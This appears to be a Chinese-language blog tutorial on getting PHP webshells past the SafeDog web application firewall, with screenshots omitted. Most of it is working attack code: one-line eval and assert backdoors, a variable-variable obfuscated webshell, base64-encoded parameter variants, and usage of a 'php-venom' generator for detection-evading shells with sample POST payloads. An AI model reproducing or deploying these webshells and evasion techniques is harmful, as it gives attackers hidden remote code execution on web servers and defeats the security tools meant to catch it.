WAF绕过-权限控制之代码混淆及行为造轮子

QQ截图20220324092456.jpg

权限控制原理分析

webshell工具总结

变量覆盖绕过

使用的一句话木马

<?php @eval($_POST['chopper']);?>
// assert的函数名可以作为变量被传递调用
<?php assert($_POST['chopper']);?>

直接访问发现被拦截

QQ截图20220324104905.jpg

拦截日志

QQ截图20220324104950.jpg

改变木马写法绕过safedog

<?php
// a=b&b=assert&c=phpinfo();
$a = $_REQUEST['a'];
$$a = $_REQUEST['b'];
$b($_REQUEST['c']);

成功绕过安全狗

QQ截图20220324105527.jpg

QQ截图20220324105616.jpg

但是改为eval函数报错,此方法只适用于assert()

QQ截图20220324105648.jpg

有些安全产品会对参数进行验证,需要对参数进行加密传输绕过验证

QQ截图20220324105927.jpg

对运行参数进行解密

<?php
// phpinfo(); => cGhwaW5mbygpOw==
// a=b&b=assert&c=cGhwaW5mbygpOw==
$a = $_REQUEST['a'];
$$a = $_REQUEST['b'];
$b(base64_decode($_REQUEST['c']));

QQ截图20220324110152.jpg

加密混淆绕过

code_test目录下上传post传参并且解密的文件test.php

<?php assert(base64_decode($_POST['x'])); ?>

QQ截图20220324111447.jpg

安全狗查杀加密后的后门

QQ截图20220324111537.jpg

访问加密之后路径

QQ截图20220324111616.jpg

尝试通过网站的加密进行绕过

QQ截图20220324133303.jpg

下载后查看,发现乱码了

QQ截图20220324133328.jpg

上传到服务器后尝试连接

QQ截图20220324133405.jpg

异或生成绕过

使用方法

python3 php-venom-3.3.py    //生成免杀一句话

python3 php-venom-3.3.py shell.php   //对同目录下shell.php进行免杀处理,结果保存在shell.php.bypass.php

使用说明

http://www.xxx.com/shell.php  
POST: mr6=phpinfo();  //与普通shell相同

http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo=  //payload的base64编码

经过验证,可以绕过检测并成功连接

QQ截图20220324134040.jpg

也有蚁剑插件版